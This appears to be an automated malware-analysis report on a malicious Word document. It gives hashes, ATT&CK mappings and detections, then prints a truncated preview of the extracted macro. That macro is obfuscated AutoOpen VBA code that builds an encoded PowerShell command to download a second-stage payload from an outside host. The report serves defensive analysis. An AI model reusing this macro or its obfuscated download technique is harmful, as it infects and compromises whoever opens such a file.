Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16380e6168e31a00…

MALICIOUS

Office (OLE)

178.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 5d287802c4aa94113e94ef0e7a0c8803 SHA-1: 31a8f4160a82520e1f57899403186603a91a011c SHA-256: 16380e6168e31a0098a70f629c0d5a1ade9f3230b322ec4a358fd85cf6bffd56
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro constructs and executes a command-line string, likely to download and run a second-stage payload. This behavior is consistent with a malicious document delivered via spearphishing.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69720 bytes
SHA-256: c7613b4c2dea4ec22b4b96a14e40625b918897d4dbc48a7bda7f6a5ec91a1093
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const vECIJuknITaSOqAvUzoiItYiSumO = 0
Sub AutoOpen()
On Error Resume Next
Dim GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(4)

If 12 = 12 + (2 * 0) Then
GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(0) = CLng(9962)
End If
GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(1) = Sqr(2)
GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(2) = Month(99629962)
GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(3) = Fix(9962.2)
Dim nAXIJVOUcYPEQhaIQAgbOf(4)

If 10 = 10 + (6 * 0) Then
nAXIJVOUcYPEQhaIQAgbOf(0) = CLng(9215)
End If
nAXIJVOUcYPEQhaIQAgbOf(1) = Sqr(6)
nAXIJVOUcYPEQhaIQAgbOf(2) = Month(92159215)
nAXIJVOUcYPEQhaIQAgbOf(3) = Fix(9215.6)
CJygUlAwOMaHeciJIjeKAXblyQYfYDAzYPOcEdYsN = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^v^A^H^c^A^a^Q^B^l^A^G^8^A^c^Q^B^r^A^H^g^A^a^w^B^h^A^G^w^A^c^w^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^0^A^a^Q^B^v^A"
Dim DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(4)

If 12 = 12 + (7 * 0) Then
DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(0) = CLng(4084)
End If
DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(1) = Sqr(7)
DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(2) = Month(40844084)
DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(3) = Fix(4084.7)
Dim dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(4)

If 11 = 11 + (8 * 0) Then
dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(0) = CLng(4628)
End If
dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(1) = Sqr(8)
dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(2) = Month(46284628)
dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(3) = Fix(4628.8)

Dim tiNasekUNicINpCaqiRuSFaPaSiS(4)
Dim iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(4)

If 10 = 10 + (7 * 0) Then
iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(0) = CLng(4285)
End If
iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(1) = Sqr(7)
iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(2) = Month(42854285)
iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(3) = Fix(4285.7)
Dim eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(4)

If 13 = 13 + (5 * 0) Then
eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(0) = CLng(6682)
End If
eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(1) = Sqr(5)
eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(2) = Month(66826682)
eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(3) = Fix(6682.5)

If 13 = 13 + (1 * 0) Then
Dim QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(4)

If 11 = 11 + (6 * 0) Then
QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(0) = CLng(7037)
End If
QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(1) = Sqr(6)
QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(2) = Month(70377037)
QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(3) = Fix(7037.6)
Dim JARajYcasUHUMhoHfUxisENIrYiYB(4)

If 12 = 12 + (2 * 0) Then
JARajYcasUHUMhoHfUxisENIrYiYB(0) = CLng(8711)
End If
JARajYcasUHUMhoHfUxisENIrYiYB(1) = Sqr(2)
JARajYcasUHUMhoHfUxisENIrYiYB(2) = Month(87118711)
JARajYcasUHUMhoHfUxisENIrYiYB(3) = Fix(8711.2)
tiNasekUNicINpCaqiRuSFaPaSiS(0) = CLng(6383)
Dim ZuWiqUHoxEfUneLMEdEWommk(4)

If 11 = 11 + (2 * 0) Then
ZuWiqUHoxEfUneLMEdEWommk(0) = CLng(4889)
End If
ZuWiqUHoxEfUneLMEdEWommk(1) = Sqr(2)
ZuWiqUHoxEfUneLMEdEWommk(2) = Month(48894889)
ZuWiqUHoxEfUneLMEdEWommk(3) = Fix(4889.2)
Dim BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY(4)

If 11 = 11 + (7 * 0) Then
BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY(0) = CLng(8105)
End If
BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY(1) = Sqr(7)
BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY
... (truncated)